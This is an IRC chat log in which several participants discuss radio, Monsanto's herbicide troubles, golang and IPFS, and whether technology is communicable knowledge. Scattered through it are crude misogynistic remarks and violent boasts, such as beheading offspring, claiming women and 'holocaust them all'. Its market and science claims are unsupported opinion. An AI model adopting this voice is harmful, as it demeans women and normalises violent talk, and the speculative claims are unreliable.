early radio so damn much. 1468435;1463660776;shinohai;Radio was like the first thing I was interested in as a child. 1468436;1463660799;shinohai;I still have an sdr and god-awful yagi hooked up to this day 1468437;1463660831;mircea_popescu;the way the world's going, you might end up using that skillset for reals. 1468438;1463660882;shinohai;Will bve downloading trb blockchain with packet radio xD 1468439;1463660922;mircea_popescu;in truth, if we end up that stretched there's prolly going to be some adjustments made. like - daily blocks. 1468440;1463660952;mircea_popescu;1mb/day should be within reach for radio. 1468441;1463661180;shinohai;Sadly, in the land-of-the-not-so-free 'tis illegal to send encrypted comms with HAM license. :/ 1468442;1463661215;mircea_popescu;by the time this is actually needed, all that'll be about as interesting as soviet rubles. 1468443;1463661384;shinohai;I haven't looked into D-STAR much, but it is proprietary chip, which opens possibility that it is already pwnd at that level, you cannot decrypt message without it. 1468444;1463661399;mircea_popescu;actually come to think of it, someone should write code to turn standard base64 (like comes out of pgp armor etc) into text. have a nice markov-based state machine with a large-ish dictionary and a syntax/grammar checker. 1468445;1463661410;mircea_popescu;crypto goes in, poetry goes out. no fucking law against poetry, is there. 1468446;1463661456;shinohai;:D 1468447;1463661486;mircea_popescu;the blank verse funkenclub. 1468448;1463661614;*;mircea_popescu can't wait for mod6 's t now :D 1468449;1463661638;mircea_popescu;its announced presence has rearranged my head, it's really the correct solution for the long sought for job market thing. 1468450;1463661663;shinohai;He is pretty close to having an awesum tbot finished, twas working good last night. 1468451;1463661670;mircea_popescu;epic. 1468452;1463661701;mircea_popescu;you know thinking about it... each irc channel is like whatever, a guy walking down the street. maybe carrying a bag of groceries or a skateboard or w/e. 1468453;1463661712;mircea_popescu;then #trilema, it's like mechaworld. 95% computer by mass. 1468454;1463661784;mircea_popescu;and in other news, http://65.media.tumblr.com/c068547109830b95fb0f57bbe9657a8c/tumblr_o6xqe2V4B51vn1bdyo1_1280.jpg 1468455;1463661805;shinohai;cucked.png 1468456;1463661934;mircea_popescu;nah, dun look like it, chick's all coy and shit. 1468457;1463662547;mircea_popescu;nice qntra btw. and yes monsanto is fucked - the projections were for weed resistance to appear in centuries. it showed up within a coupla short decades. this puts the practical utility of their "genetic research" in serious doubt. in fact they've closed down most "general" projects, focusing on a coupla more promising line, after which it's ~the end. 1468458;1463662565;mircea_popescu;incidentally i have nfi how that worked so well for the weeds. pretty impressive. 1468459;1463662596;mircea_popescu;BingoBoingo "genes Monsanto claims title travels" << claims title to ? 1468460;1463662634;mircea_popescu;toxic either because it is a grass < toxic, either - being a grass and all. 1468461;1463662736;BingoBoingo;ty, fxd 1468462;1463662758;BingoBoingo;Well the thing is the weeds were always resistant 1468463;1463662759;shinohai;I read "toxic Ether" 1468464;1463662794;mircea_popescu;BingoBoingo i suppose that must be the explanation, "carried resistance". ie, they had it, genetically, but not normally expressed. until environment changed and so genetic expression changed to fit. 1468465;1463662862;mircea_popescu;shows teh sort of "scientific research" that happens in the us based labs for the lulzy sham it is. "oh, we treated a crop of grass with this vial and the grass died. ERGO IT WORKS!!! we studied genetics under lamarck et all, don't understand much of anything. what do you mean, cultivate the survivors and see, what do you mean need a chain of witness blocks going down many generations ?!?!?!" 1468466;1463662885;BingoBoingo;Well, and some of them like fucking horseweed seemed to have never really cared much about glyphosate. Then there's Japanese knotweed which glyphosate will kill, but only if sprayed during the first new moon after the autumn equinox. 1468467;1463662935;BingoBoingo;Anyways what I found especially lulzy was putting glyphosate and dicamba in the same bottle and calling it innovation. 1468468;1463662995;BingoBoingo;Dicamba's bundled into a bunch of other commercial off the shelf consumer herbicide products already. 1468469;1463663000;mircea_popescu;but yes, for any republican bioscientists in the making : the scientific way to study something like plant resistance to X is to : 1. create the first generation test environment. this means a witness, and a number of exposures (maybe dosed variously, with other substances too, etc). 2. create next generation environment. this means, your experiment now subdivides into as many experiments equal to 1 as there were tests perfor 1468470;1463663000;mircea_popescu;med. 3. keep doing this, depending on life form, MANY times. at least a dozen for plants, for instance, they express fast. mammals, 100s. 1468471;1463663009;mircea_popescu;this is why it's fucking hard & expensive to do genetic research ffs. 1468472;1463663085;*;BingoBoingo still wonders why Monsanto hasn't been digging for Diquat decomposing bacteria to make a wunderwaffen 1468473;1463663086;mircea_popescu;BingoBoingo yeah, monsanto is very much apple'd. the original idea seemed promising, in the 90s. sometime years ago, dunno exactly when cuz they've been keeping it secret and i never cared that much, they found out it's a doomed entreprise. ever since then... MON's been pretty much a stock scam. 1468474;1463663101;mircea_popescu;except you know, with much better pr than the usual pinksheet. 1468475;1463663119;mircea_popescu;BingoBoingo bacteria are a whole other game. 1468476;1463663127;BingoBoingo;Right, kinda the pharma model where having a pipeline of things to pattent matters more than anything else. 1468477;1463663135;mircea_popescu;quite so, yeah. 1468478;1463663142;mircea_popescu;they are exactly like the pharma. 1468479;1463663173;mircea_popescu;anyway, looking at their stock the news was first heard by sophisticated investors q3 2015, ie recently. 1468480;1463663179;mircea_popescu;then the chumps bought back in. 1468481;1463663230;mircea_popescu;oh look at that, it's in play, also. bwahahaha. 1468482;1463663236;mircea_popescu;nice move covering it today for srs. 1468483;1463663257;BingoBoingo;Still, the point remains Argentina's only strategy is to void the monsanto glyphosate resistance patents locally 1468484;1463663262;BingoBoingo;And yes, in play today. 1468485;1463663332;mircea_popescu;BingoBoingo i guess we retrospectively discovered what a major point of discussion in the recent bahamas-macri meeting was. and the local socialist fucktards thought they ran off and hid in the countryside because of them. lelz. "reddit we diddit!!1" 1468486;1463663360;BingoBoingo;Seriously. 1468487;1463663376;mircea_popescu;BingoBoingo maybe even worth updating the article for all these tie-ins ? 1468488;1463663401;mircea_popescu;or maybe save for a later re-piece, if it sells or something. eitherway. 1468489;1463663426;BingoBoingo;I will in a couple hours, gotta get a string trimmer and re-piece. Or you know you could do the tie ins from Argentina bsns perspective. 1468490;1463663486;mircea_popescu;if i had any sort of local confirmation or somesuch actual meat. but i've not been investing in connecting to the local agros who the shit cares, and obv el presidente'd rather die than give up this one, and i'm noit about to start torturing elected presidents just yet. 1468491;1463663509;mircea_popescu;so pure speculation at this point, not worthy. 1468492;1463663515;BingoBoingo;Anyways it looks like reddit doesn't get much traffic anymore compare https://voat.co/v/Conspiracy/comments/1050659 to https://www.reddit.com/r/farming/comments/4k1jyv/monsanto_embargoes_argentina_from_getting_dicamba/ 1468493;1463663535;mircea_popescu;who could have predicteded. 1468494;1463663556;BingoBoingo;You know, I bet the local farm supply store would have had a better ball gag than all those porno stores... 1468495;1463663562;BingoBoingo;brb 1468496;1463663576;mircea_popescu;i did find what i wanted in the end, though. 1468497;1463663598;mircea_popescu;spoeaking of which, found a SPLENDID leather collar with metal spikes in local pet shop. top notch stuff, 12 bux. 1468498;1463663612;mircea_popescu;possibly the most 12 dollars has bought this year anywhere in the world. 1468499;1463663775;mircea_popescu;incidentally speaking of https://voat.co/p/partnerprogram anyone knows the voat people ? i think it's conceivable mpex might list them... 1468500;1463668851;asciilifeform;l0gz dead 1468501;1463668858;mircea_popescu;aha. 1468502;1463668867;mircea_popescu;apparently phf gotta handcrank them, and when he sleeps... 1468503;1463669535;deedbot;[Trilema] Vacation - http://trilema.com/2016/vacation/ 1468504;1463669605;asciilifeform;spiffy l0g 1468505;1463669617;mircea_popescu;hm ? 1468506;1463669628;*;asciilifeform has ~'fivenines'-reliable own l0g 1468507;1463669652;asciilifeform;the thing nailing monsanto has a name, 'epigenetics' 1468508;1463669692;asciilifeform;one of the interesting things is that monsanto used to be an actual 'golden age of usa' chemical co. e.g., produced first commercial LED. 1468509;1463669705;asciilifeform;BUT was restructured as a chumpatron some time quite recently (90s?) 1468510;1463669723;mircea_popescu;in another view, what's nailing monsanto is called "so you thought you were smart, eh ?". heck, plants've been here a while. odds are whatever random unwashed derp in our colonies comes up with, they've seen before. 1468511;1463669740;asciilifeform;well everybody is eventually nailed by 'so you thought you were...' 1468512;1463669744;mircea_popescu;aha 1468513;1463669817;asciilifeform;but yeah, when substance s is something that kills plant p but not plant p', and therefore may have been secreted by some past p', odds are 'it's happened before' 1468514;1463669834;mircea_popescu;quite. 1468515;1463669920;mircea_popescu;the very deeply ignorant approach is rather notable, to my eyes. derps seriously think that's how genetics works, much like a baby perceiving his environment as a photographic still rather than a dynamic equilibrium and so faceplanting self once an hour 1468516;1463669957;asciilifeform;the more interesting part is that the actual workerbees doing the gruntwerk do ~not~ think this 1468517;1463669965;asciilifeform;and haven't since at the latest - the '80s 1468518;1463669970;mircea_popescu;surely. management problem. 1468519;1463669977;asciilifeform;aha. 1468520;1463669986;mircea_popescu;much like - lol and behold - soviet empire! 1468521;1463670027;asciilifeform;usa was really first to mass-produce entirely defective workerbees, and afaik they are limited to software 1468522;1463670086;mircea_popescu;nah. i disagree. usa was first to pretend like underage male fuckwards are "worker bees", which only can be meaningfully attempted for ~a certain kind~ of software. what we reference here as the web. 1468523;1463670112;mircea_popescu;the truth of demographics is that underage males are mostly defective by mass. this is unfixable. 1468524;1463670128;mircea_popescu;the soviets had ~the same percentage, but simply killed them./ 1468525;1463670153;asciilifeform;yeah but in modern usa 30y is still 'underage' 1468526;1463670157;asciilifeform;somehow. 1468527;1463670166;mircea_popescu;this is also not creation. it is the result of expanding complexity. 1468528;1463670172;asciilifeform;these folks got developmentally frozen. 1468529;1463670191;asciilifeform;complexity of what ? 1468530;1463670194;mircea_popescu;as the maximal leverage avaialble to the individual increases, the % of things crawling out of cunts (which, recall, run perl) that may ever individuate decreases. 1468531;1463670248;mircea_popescu;as the bar to the individuation is fixed ~the mean of the leverage, so obviously as that increases the sigma-ness associated increases also (by about the square root ?) 1468532;1463670274;asciilifeform;where is this 'leverage increases' ? 1468533;1463670287;mircea_popescu;let's take a retrofitted historical walk. 1468534;1463670300;asciilifeform;if anything, leverage pertaining to computer maxed out in '90s 1468535;1463670361;mircea_popescu;so, year is 160 ad, we're in rome. maximally, a man can replace the work of about fifty or so men, give or take. the mean of this is say 25. about 10% of the population can reach this, and lo and behold - about 10% of the empire's population is citizens! 1468536;1463670400;mircea_popescu;the year is now 660, and we're in londinum. a man can replace the work of maybe two, give or take. the mean is one-something, and "everyone" is someone. 1468537;1463670434;mircea_popescu;by 1160, which catches us in paris, we're up to a leverage of maybe as high as twenty, and so "most men" is good enough an approximation. about 60-70% really. 1468538;1463670457;mircea_popescu;then in 1660... one's either a noble or not worth the mention, and this reduces to a few percent again. 1468539;1463670469;asciilifeform;yeah but what part of any of this happened any in past 20y. 1468540;1463670495;mircea_popescu;the amount of work you CAN replace has been monotonously increasing since about then, mind. 1468541;1463670520;mircea_popescu;you wish to think in terms of your chosen art, which is meaningless. it's not always the same art that provides the additional leverage. 1468542;1463670533;mircea_popescu;however they may ebb or wane individually, of interest to man is the sum total. 1468543;1463670782;Framedragger;> There's just no life in this idea as originally thought out, a browser thing. 1468544;1463670783;Framedragger;mircea_popescu: yeah ok i'm afraid i've to agree 1468545;1463670840;mircea_popescu;Framedragger doesn't mean much more than, "the correct path is to take a decent crypto lib, a distributed-hashtable-storage thing from one of the p2p torrent tools, and make a real social media app" 1468546;1463671162;Framedragger;mircea_popescu: yeah... thinking... 1468547;1463671165;Framedragger;asciilifeform: do you have an opinion on IPFS (distributed storage protocol, of sorts)? spoiler: reference implementation is in golang 1468548;1463671192;Framedragger;wonder if ipfs is worth leveraging here 1468549;1463671342;asciilifeform;Framedragger: i think you just answered yer own question 1468550;1463671344;mircea_popescu;was this the merkle data thing ? 1468551;1463671348;asciilifeform;golang --> straight to furnace. 1468552;1463671367;mircea_popescu;asciilifeform dude i'm going to make the REFERENCE IMPLEMENTATION of your next girlfriend in golang and what'll you do then. 1468553;1463671390;mircea_popescu;you can implement shit in whatever the hell you want. the reference implementation for cramer-shoup is in malbolge. 1468554;1463671392;asciilifeform; you wish to think in terms of your chosen art, which is meaningless. it's not always the same art that provides the additional leverage. <<< pretty much everything other than the infernal machines has been going to hell, visibly to naked eye. so which art would it be that mircea_popescu was thinking of ? 1468555;1463671396;asciilifeform;metallurgy ? 1468556;1463671410;asciilifeform;mircea_popescu: on the contrary, there isn't a reference implementation. 1468557;1463671417;Framedragger;yeah generalized merkle DAG 1468558;1463671444;mircea_popescu;asciilifeform right. which is my point - if you don't like golang pretend there isn't one. you can't invalidate design by "bad implementation" wtf. 1468559;1463671448;asciilifeform;until very recently i used to think quite like mircea_popescu above, 'sure, i'll read even if implemented in js' 1468560;1463671453;asciilifeform;but this was a mistake. 1468561;1463671461;asciilifeform;turns out it is 100% a waste of time to study certain things. 1468562;1463671472;mircea_popescu;turns out also that this has to be a personal conclusion. 1468563;1463671476;asciilifeform;sure does. 1468564;1463671481;mircea_popescu;so then. 1468565;1463671503;mircea_popescu;back to the arts : no, not really. finance, believe it or not. and other things. few of which are "palpable" in the sense that farm derp could put hand on 1468566;1463671525;asciilifeform;realize that 'golang' is not simply a language, but a set of libraries that is used by pretty much 100% of the extant soft implemented therein 1468567;1463671535;asciilifeform;and so i am not interested in a crypto lib that calls out to google crapolade. 1468568;1463671566;asciilifeform;mircea_popescu: chumpatronics quite clearly moved forward! yes 1468569;1463671567;asciilifeform;but what else ? 1468570;1463671581;asciilifeform;(it is the one science that will never stop!11111) 1468571;1463671598;mircea_popescu;finance is a different story from chumpatronics, why teh haet. 1468572;1463671625;asciilifeform;finance as 'improved since 1980' is precisely chumpatronics. 1468573;1463671648;mircea_popescu;notrly. finance is basically "engineering for large systems with complex parts" 1468574;1463671653;*;asciilifeform brb, phood 1468575;1463671656;mircea_popescu;sort of like how qm is thermodynamics for grown ups 1468576;1463671890;mircea_popescu;anyway, Framedragger golang is not liked here because we don't own it, and we don't like usg.google more than we like usg.anything, and because it seems quite well engineered to work as a baited hook for the usg chump works. 1468577;1463671907;mircea_popescu;that aside, the IDEA of ipfs, as far as can be distinguished, is not necessarily bad. 1468578;1463671943;mircea_popescu;it's not very much clear there's anything much there besides the usual marketing crapolade. i dunno how familiar you are with this phenomena, but let me dig a fine example out of the log. 1468579;1463672264;mircea_popescu;http://btcbase.org/log/2015-04-02#1084144 1468580;1463672393;mircea_popescu;plenty of other good ones ( asciilifeform you recall reporting on that group pushing 20 year old schweizer as "wai of footure" at some conference ? ), but the more important point is, that this is a fine field for innovation as it stands. it's very far from "settled science", where the logical move is to simply import the universally accepted library and move on. 1468581;1463672415;mircea_popescu;this is where one writes code as a young man that then makes them famous for rest of life, the c and whatnot of our time. you see what i mean ? 1468582;1463672551;mircea_popescu;for instance, i'm deliberately keeping my ongoing "war on the web" as far as attacking forums goes on a very low roar. not that i couldn't scale it up and end ~any web-based forum, owing to the incredible incompetence of the scammers involved. but then, millions of derps would in a voice go "ok so these are bad, what should we do ?" 1468583;1463672570;mircea_popescu;can't quite answer "get fucked" to something like that, not unless you're prepared to follow through and holocaust them all. 1468584;1463672588;mircea_popescu;but should one be able to answer "use this thing"... well then. different matter altogether. 1468585;1463672788;Framedragger;yeah i see what you mean. also nice to keep idiots in single basket 1468586;1463672803;Framedragger;re. golang, i understand the sentiment yeah 1468587;1463672854;Framedragger;sounds like amusing examples too, will check later ($dayjob) 1468588;1463672863;asciilifeform;http://btcbase.org/log/2016-05-19#1468579 << lulzily, shortly after i wrote this i actually met the man. 1468589;1463672863;a111;Logged on 2016-05-19 15:37 mircea_popescu: http://btcbase.org/log/2015-04-02#1084144 1468590;1463672881;asciilifeform;(i was sent to sit on a committee of sorts, with him in it) 1468591;1463672921;Framedragger;hahaha 1468592;1463672925;Framedragger;on "Identity-based encryption " ? 1468593;1463672931;asciilifeform;nope. 1468594;1463672931;mircea_popescu;and, how's he in life ? 1468595;1463672945;asciilifeform;mircea_popescu: in life he was ~same as all the other greyhairs in the room 1468596;1463672978;asciilifeform;and quite like ~all the other usg academics i spent most of my working life working with. 1468597;1463672982;asciilifeform;tragic figure. 1468598;1463673062;asciilifeform;http://btcbase.org/log/2016-05-19#1468573 << i'ma bite this bait. tell me, what constructive thing have improvements in finance in past 30y enabled ? 1468599;1463673062;a111;Logged on 2016-05-19 15:27 mircea_popescu: notrly. finance is basically "engineering for large systems with complex parts" 1468600;1463673070;asciilifeform;bigger yachts for pinksheet sc4mz0rz? 1468601;1463673096;asciilifeform;what did n-way leveraged whateverthefucks improve ? 1468602;1463673118;asciilifeform;bigger yield of uranium ? purer aluminum ? longer cocks ? what. 1468603;1463673139;asciilifeform;less frequent marketpanics ? (quite certainly not) 1468604;1463673164;asciilifeform;all i see is complexity cancer, on which the usual scamvultures feast. 1468605;1463673198;mircea_popescu;asciilifeform i count bitcoin, you know. 1468606;1463673203;mircea_popescu;i also count sepa. 1468607;1463673222;asciilifeform;bitcoin is really an electrically-enabled return to 200 bc 1468608;1463673225;mircea_popescu;i also count all SORTS of things, including 3% corp tax in romania, for instance. wasn't there in 86 1468609;1463673239;asciilifeform;low tax is now a technical advance?!! 1468610;1463673253;asciilifeform;are we playing civ1? 1468611;1463673253;mircea_popescu;what's your definition of technical advance ? 1468612;1463673257;mircea_popescu;well yes. 1468613;1463673314;mircea_popescu;(to be specific : the idea that "small corps are the driver of economy, and should get massive tax breaks" is entirely past 30 years.) 1468614;1463673333;asciilifeform;dunno, lenin's NEP had it. 1468615;1463673341;asciilifeform;and i can't fathom it being the first. 1468616;1463673376;mircea_popescu;but as per our discussion of monsanto, if your idea of "innovation" in humanities is alligned with "absolute first", you can't even PERCEIVE humanities, let alone meaningfully interact with em. 1468617;1463673397;mircea_popescu;context matters, who the fuck cares what lenin's nep did. 1468618;1463673407;asciilifeform;not being timeless god on mt olympus, i generally don't do 'absolute firsts' 1468619;1463673459;mircea_popescu;right ? so you're part of the 55th civilisation to discover cellphones. do you care about the other 54 ? 1468620;1463673483;asciilifeform;but the reason i dun see the 'let's 3% tax' as a technical advance, is that it was not a deliberate act, but a concession to collapse of inca empire. it was done ~to~ the folks who did it, like an earthquake. 1468621;1463673496;asciilifeform;ergo not a technical advance, any more than eruption of mt vesuvius was. 1468622;1463673531;mircea_popescu;in this sense chloroform was done to the discoverer, not the other way around. 1468623;1463673534;asciilifeform;'90s post-sov govs did not have the actual option of mega-tax. 1468624;1463673543;asciilifeform;mircea_popescu: lsd, famously 1468625;1463673543;mircea_popescu;yes, of course, life taking place in nature, its discoveries are DONE to it 1468626;1463673561;asciilifeform;teflon. 1468627;1463673562;asciilifeform;etc 1468628;1463673579;asciilifeform;but these transitioned TO technical advances once cemented in place 1468629;1463673584;asciilifeform;and repeated volitionally 1468630;1463673598;asciilifeform;it is not yet clear to me that 'let's 3% tax' has made it to this stage 1468631;1463673606;mircea_popescu;well, they've been sticking to it for a decade+ by now. 1468632;1463673607;asciilifeform;here in the land of 50% tax. 1468633;1463673629;mircea_popescu;ah but you see, this is thevery thing we're discussing. ~I~ benefit from it, and it empowers me. that'd be what i'd care about. 1468634;1463673683;asciilifeform;yeah but it is also possible that mircea_popescu benefits from scratching his toes just-so when he wakes up. this is not a technical advance as generally understood, because the recipe is useless to anybody else. 1468635;1463673686;mircea_popescu;i don't give the first inkliong of a shit as to whether it could "rightfully" be called technical, inovation, or pornography. that's a concern for kids debating superman-vs-spiderman encounters. 1468636;1463673712;mircea_popescu;what i strictly care about is, doth it or doth it not make it easier for me to send fifty men out of their houses, behead their offspring and claim their women. 1468637;1463673718;mircea_popescu;and that - well that, it does. 1468638;1463673722;asciilifeform;well is it, to use mircea_popescutronic analysis, a matter 'for the forum' or 'for the gynaecaeum' ? 1468639;1463673755;mircea_popescu;the particular is not a public matter. but the thing we were discussing, ie, leverage, and its impact of citizenship, and the way this drags out citizenship out of the commoner's reach, is. 1468640;1463673770;mircea_popescu;it ended up illustrated with minutia, but it is not the illustrative minutia. 1468641;1463673796;asciilifeform;iirc the thread was about 'leverage increased, ergo we are awash in surplus people' 1468642;1463673804;asciilifeform;this was a testable hypothesis re: observables. 1468643;1463673806;asciilifeform;or so i thought. 1468644;1463673828;mircea_popescu;how testable ? 1468645;1463673829;asciilifeform;does it reduce to mircea_popescu asserting 'my magic got stronger in ineffable wayz and stfu' ? 1468646;1463673862;mircea_popescu;well no, not necessarily. but on the other end of the same chasm, it may not be a case of "either this leverage is universally accessible or stfu" 1468647;1463673872;mircea_popescu;the very point being that it's not universally accessible. 1468648;1463673889;asciilifeform;i can readily believe that mircea_popescu's magic got stronger, sure. but did he singlehandedly surplus all of the obsolete meatbags ? or did somebody else's magic also get stronger, and if so how..? 1468649;1463673911;asciilifeform;bulldozer is not universally accessible, as it is costly, but its DESCRIPTION is. 1468650;1463673929;mircea_popescu;just as long as you admit to an increase of maximal-possible-mojo per capita, and to a decrease in marginal utility per capita, you're basically admitting the premises. 1468651;1463673938;asciilifeform;that is what distinguishes reactor from hoodoo 1468652;1463673946;mircea_popescu;ah, but no, i do not accept this requirement that the DESCRIPTION be universally accessible either. 1468653;1463673965;asciilifeform;then we have 'my hoodoo got stronger, stfu' ? 1468654;1463673965;mircea_popescu;because, as per the discussion of "ideas" : in my hand it's an idea, in derp'\s hand is nothing, for derp may not have ideas. 1468655;1463673971;mircea_popescu;not necessarily. 1468656;1463673976;mircea_popescu;there's a space between these two. 1468657;1463674183;asciilifeform;well sure, somewhere in that space live, e.g., galois theory, other fine arts 1468658;1463674344;mircea_popescu;heh. 1468659;1463674386;mircea_popescu;tell you what, something as finely technical as, the lorenz contraction, still is not "universally accessible". in fact, it is outside of the purview of ~all us schoolchildren. 1468660;1463674399;mircea_popescu;and there exists a lobby there proposing that for this reason, it is not really, properly technology. 1468661;1463674409;mircea_popescu;are you of the same notion ? 1468662;1463674410;asciilifeform;laugh all you like, i had it in sch00l 1468663;1463674413;asciilifeform;american, no less 1468664;1463674417;mircea_popescu;so did i. 1468665;1463674422;asciilifeform;~american~ school 1468666;1463674428;mircea_popescu;but this was just about 30 years ago, has it not. 1468667;1463674434;asciilifeform;15. 1468668;1463674474;mircea_popescu;dollars to donuts, if you arrest everyone who ever said "quantum computing" on an webpage, and keep them locked up in solitary until such a time they can explain what it means, scientifically, 1468669;1463674484;mircea_popescu;you'll be lucky if you ever release 1% of a rather large inmate population. 1468670;1463674492;asciilifeform;now this, for sure. 1468671;1463674499;asciilifeform;or for that matter 'electrical cures' of 1890. 1468672;1463674502;mircea_popescu;so then. accessibility is no sort of criteria for technology. 1468673;1463674507;asciilifeform;nobody cancelled quackery. 1468674;1463674555;asciilifeform;so it seems like we have: 1468675;1463674559;asciilifeform;1) live in sovok 1468676;1463674562;asciilifeform;2) collapse!11111 1468677;1463674564;asciilifeform;3) ????? 1468678;1463674570;asciilifeform;4) Pr00000f1t!1111 1468679;1463674577;asciilifeform;^ mega-technology ^ 1468680;1463674591;asciilifeform;fish in the scania was also technology ? 1468681;1463674599;mircea_popescu;and what's wrong with that ? are you derriding the pulley system on the grounds of how trite the rope is ? 1468682;1463674603;mircea_popescu;definitely was. 1468683;1463674620;mircea_popescu;inasmuch as it allowed the swedes to pretend to being a nation for absolutely no other discerinble reason, 1468684;1463674623;asciilifeform;having golden meteor fall in your back yard is not a technology. 1468685;1463674628;mircea_popescu;fish in the scania is the equivalent of lace in luxembourg. 1468686;1463674630;asciilifeform;it is called windfall. 1468687;1463674633;mircea_popescu;and why the fuck not ? 1468688;1463674638;mircea_popescu;everything's called windfall by some people. 1468689;1463674664;asciilifeform;there is prolly a madman to whom every animal with 4 legs is dog. 1468690;1463674676;asciilifeform;does not follow, from this, that it is useless to give different names to species. 1468691;1463674687;mircea_popescu;but once yo uspeak of madman you're either granting my point or else going full "no true scotsman" 1468692;1463674729;mircea_popescu;yes, there's madmen and there's people, and technology need not be describable to madmen to be technology. 1468693;1463674749;asciilifeform;point here is that technology is an informational thing. two folks, with same materials, will come to different fates, because one knows that magnetic field induces electric current in moving conductor, and the other - does not 1468694;1463674798;asciilifeform;recall the thread about the indian firing a rifle ? 1468695;1463674802;asciilifeform;he does not 'have the tech' 1468696;1463674805;mircea_popescu;it is not clear technology is an "informational" thing. seems apt to say technology is a productive thing. 1468697;1463674813;asciilifeform;all he has is a thing he found on a dead englishman. 1468698;1463674830;asciilifeform;when he ~makes own rifle~ - he has the tech. 1468699;1463674845;mircea_popescu;asciilifeform but in a discussion of indian tribes, the smaller trbie with guns that wipes the larger tribe with tomahawks HAS, in fact, deployed the technology. 1468700;1463674855;mircea_popescu;us army grunts notably don't know how the fuck their shit works. 1468701;1463674881;mircea_popescu;and for that matter, when you have sex you get a child, which is yours, even if you have nfi how cunt works. nor does she. 1468702;1463674888;mircea_popescu;"functional literacy", it's a thing. 1468703;1463674889;asciilifeform;naturally, it is not his role in life. but their hardware is so flimsy that if cut off from the mothership for a month, they will die. 1468704;1463674897;mircea_popescu;"role in life" is not a thing. 1468705;1463674944;asciilifeform;the making of prussian-style soldiers, folks with very narrow role in life and bonsaikittened brain, is also a technology. 1468706;1463674952;mircea_popescu;not for the folks. for the makers. 1468707;1463674959;asciilifeform;(think of how jp adopted it in 1900s) 1468708;1463674961;mircea_popescu;that's the point. technology is technology only in context. 1468709;1463674971;mircea_popescu;in and of itself, it's "natural phenomena" or "magic" or what have you. 1468710;1463674978;asciilifeform;technology is something you can pick up informationally. 1468711;1463674992;mircea_popescu;no. it picks you up, in that some can and some can't ; some do and some do not. 1468712;1463675032;asciilifeform;this formulation is simply a change of coordinate system 1468713;1463675039;asciilifeform;but entirely true, sure 1468714;1463675049;mircea_popescu;fine then, let it be so. to me the difference is that i perceive the "you" to be universalizing in your statement. 1468715;1463675079;mircea_popescu;and the important point here is that no agent may be universal ; and no universal may have agency. which is why god can't act. 1468716;1463675088;*;asciilifeform universalizes to alert readerz, not to woodland fauna 1468717;1463675107;asciilifeform;so no, it does not follow that redditus can build reactor 1468718;1463675118;mircea_popescu;so then reactor is a technology ? 1468719;1463675128;asciilifeform;nevertheless, meiji jp 'dutch studies' scholar builds steamship. etc 1468720;1463675136;asciilifeform;aha, is technology. 1468721;1463675142;mircea_popescu;on the basis of what ? 1468722;1463675168;asciilifeform;on the basis that englishmen of 1880 could have built it if it were explained to them. 1468723;1463675184;mircea_popescu;let's do a thought experiment. suppose i invite you to spend a week at my north pole hunting lodge, where, contrary to what you might expect, we spend our time hunting large floating worms of delicious carnation. with me so far ? 1468724;1463675191;asciilifeform;aha! 1468725;1463675193;*;asciilifeform licks lips 1468726;1463675209;mircea_popescu;now then, after a moment of this, you wish to know how the fuck is it possible that these animals live here ?! 1468727;1463675218;mircea_popescu;and i explain to you that i discovered a way to create them by farting. 1468728;1463675238;mircea_popescu;you think i'm joking, but presently i demonstrate : i put a finger on my nose, and frown, and fart, and soon enough there it is, another one. 1468729;1463675243;mircea_popescu;so you try... but nothing happens. 1468730;1463675256;mircea_popescu;and then i call a girl over, and she tries it, and there it is! a pretty one too. 1468731;1463675273;asciilifeform;there is a less comical example of this, historically - damascus steel. 1468732;1463675277;mircea_popescu;so you're a little miffed, and suspect us of collusion. so then we capture a random inuit woman, and i spend some time with her, 1468733;1463675282;mircea_popescu;and lo and behold! she does it too! 1468734;1463675293;mircea_popescu;but you still can't, and marry her, and learn inuit, and still can't, and what now ? 1468735;1463675295;mircea_popescu;technology ? 1468736;1463675307;asciilifeform;and yeah, i go home and it dun work 'cause my farts haven't enough molybdenum in'em. 1468737;1463675309;mircea_popescu;asciilifeform there is a much much better example in your own experience. recall the matchsticks ? 1468738;1463675318;asciilifeform;and i won't find out what molybdenum is for another 2000 yrs. 1468739;1463675326;asciilifeform;aha. 1468740;1463675327;mod6;heheh 1468741;1463675330;mircea_popescu;lol. 1468742;1463675348;asciilifeform;a stage magic trick is a technology, yes 1468743;1463675354;mircea_popescu;this "is_technology" function is never as usefully decidable as schoolteachers like to pretend. 1468744;1463675365;asciilifeform;or does mircea_popescu propose that i could not possibly perform the match trick even if told all. 1468745;1463675372;mircea_popescu;ie, when decidable, not useful ; when useful, not decidable. 1468746;1463675379;mircea_popescu;asciilifeform what is "all" ? 1468747;1463675387;asciilifeform;all that the inuit gurl was told. 1468748;1463675399;mircea_popescu;ie, exact words ? 1468749;1463675404;asciilifeform;as in, sitting right there. 1468750;1463675414;asciilifeform;no side channels. 1468751;1463675415;mircea_popescu;oh, you were there for the event, throughout. 1468752;1463675425;asciilifeform;i meant, sitting when she is being taught for 1st time 1468753;1463675427;mircea_popescu;and eating the same food, so one'd expect molybdenum to equalize. but... 1468754;1463675430;asciilifeform;and spoken to by mircea_popescu for first time. 1468755;1463675434;asciilifeform;so no dictionary tricks. 1468756;1463675442;mircea_popescu;sure, she's rando, we just ran into. 1468757;1463675444;mircea_popescu;heck, you pick her. 1468758;1463675471;asciilifeform;then unless the trick requires cunt muscles i can duplicate it. 1468759;1463675482;mircea_popescu;and how do you know this ? other than, it happening to be your religion. 1468760;1463675485;mircea_popescu;what proof can you offer ? 1468761;1463675509;asciilifeform;'ain't no magic on this here planet' is a religious proposition, yes. 1468762;1463675514;mircea_popescu;quite so. 1468763;1463675532;asciilifeform;quite possibly tomorrow we https://xkcd.com/298 . 1468764;1463675585;mircea_popescu;lol 1468765;1463675623;asciilifeform;but until then technology is a communicable thing. 1468766;1463675637;mircea_popescu;haha no. until then technology MAY be communicable. 1468767;1463675663;mircea_popescu;do me a favour and don't go all religious freak on me, absence of proof / proof of absence stew etc. 1468768;1463675673;asciilifeform;and yeah in some jungle there is witch doctor whose wonderful spirit-summoning tech is not communicable to the filthy white man. 1468769;1463675687;mircea_popescu;and who promised you such barrier as "a jungle far away" ? 1468770;1463675695;asciilifeform;nobody. 1468771;1463675734;mircea_popescu;point in fact, most of what you do is not communicable to "filthy white man". though from what you're saying i take it next you go renting you'll rouse them from their beds to teach lisp ? 1468772;1463675741;asciilifeform;but if mircea_popescu is a gifted telepath, clairvoyant, and spirit-summoner and proposes to use 'technology' to describe his abilities, imho this is abuse of terminology. 1468773;1463675746;asciilifeform;however genuine his talent. 1468774;1463675751;mircea_popescu;and why is that ? 